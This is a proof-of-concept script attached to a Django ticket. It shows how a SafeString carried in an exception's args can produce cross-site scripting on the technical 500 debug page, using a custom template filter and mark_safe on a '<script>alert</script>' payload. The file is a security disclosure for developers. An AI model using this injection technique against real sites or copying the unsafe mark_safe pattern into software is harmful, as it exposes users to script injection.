Ticket #33461: te500xss2.py

File te500xss2.py, 4.1 KB (added by Keryn Knight, 2 years ago)

Attachment 2, showing how to XSS the 500 page via a custom filter

Line 
1"""
2Proof of Concept for an XSS on the Technical 500 debug page.
3
4Alternate take on it. Still requires a misunderstanding by a user, marking
5something as safe when in fact it's _not_.
6"""
7import django
8from django import template
9from django.conf import settings
10from django.http import HttpResponse
11from django.template import Template, Context
12from django.urls import path
13from django.utils.safestring import mark_safe
14
15if not settings.configured:
16 settings.configure(
17 SECRET_KEY="??????????????????????????????????????????????????????????",
18 DEBUG=True,
19 INSTALLED_APPS=(),
20 ALLOWED_HOSTS=("*"),
21 ROOT_URLCONF=__name__,
22 MIDDLEWARE=[],
23 TEMPLATES=[
24 {
25 "BACKEND": "django.template.backends.django.DjangoTemplates",
26 "DIRS": [],
27 "APP_DIRS": False,
28 "OPTIONS": {
29 "context_processors": [],
30 "libraries": {
31 "my_custom_filters": __name__,
32 },
33 },
34 },
35 ],
36 )
37 django.setup()
38
39
40class MyModel:
41 def get_user_value1(self):
42 # User controlled data, but for some reason has been marked as safe.
43 # Always risky! But I need a way to provide a SafeString to the
44 # filter.
45 # Perhaps I've copied it from production to investigate what's going on.
46 return mark_safe("<script>alert('good')</script>")
47
48 def get_user_value2(self):
49 return mark_safe("<script>alert('bad')</script>")
50
51
52register = template.Library()
53
54
55@register.filter("test_filter")
56def test_filter(val, arg):
57 """
58 Another contrived thing...
59 If I can get user controlled data to become a SafeString, and force
60 an exception to occur with the value as args[0]
61 """
62
63 # This is where 'the magic' happens; if .partition (or 'rpartition') don't
64 # find the separator, they return the whole original(!) value as [0] (or [2])
65 #
66 # The only other method I can find to not actually coerce to a string is
67 # SafeString('...').format(x=x) where format does no replacements, and
68 # f'{mysafestring}' where the f-string has literally no other characters...
69 parts = list(arg.partition("'good'")) # I could be splitting by anything.
70
71 # I'm a person who doesn't want things to silently fail in dev, because
72 # then they'll silently fail in production.
73 # (I actually _am_ that person it turns out, given I wrote
74 # https://github.com/kezabelle/django-shouty-templates to avoid that
75 # happening. I would be raising an exception, but probably not quite like
76 # this.)
77 if settings.DEBUG and not parts[2]:
78 # I'm for some reason choosing to rely on exceptions accepting varargs
79 # and binding those into .args - this gets me args[0] as a SafeString
80 # Note that the asterisk expansion is required, even though the str()
81 # output looks the same!
82 raise ValueError(*parts)
83 raise ValueError(arg) # This would also work, I guess.
84 raise ValueError(f'{arg}') # As would this ...
85 # Here I might be mutating the value, which is fine because the act of
86 # combining a str() + SafeString() leads to a str(). So it needs marking
87 # as safe again in the template...
88 parts.insert(0, val)
89 return "".join(parts)
90
91
92def via_filter_looks_safe(request) -> HttpResponse:
93 template = Template(
94 """
95 {% load my_custom_filters %}
96 {{ 'safe text or variable'|test_filter:object.get_user_value1 }}
97 """
98 )
99 return HttpResponse(template.render(Context({
100 "object": MyModel(),
101 })))
102
103
104def via_filter(request) -> HttpResponse:
105 template = Template(
106 """
107 {% load my_custom_filters %}
108 {{ 'safe text or variable'|test_filter:object.get_user_value2 }}
109 """
110 )
111
112 return HttpResponse(template.render(Context({
113 "object": MyModel(),
114 })))
115
116
117urlpatterns = [
118 path("good", via_filter_looks_safe),
119 path("bad", via_filter),
120]
121
122
123if __name__ == "__main__":
124 from django.core import management
125
126 management.execute_from_command_line()
127else:
128 from django.core.wsgi import get_wsgi_application
129
130 application = get_wsgi_application()
Back to Top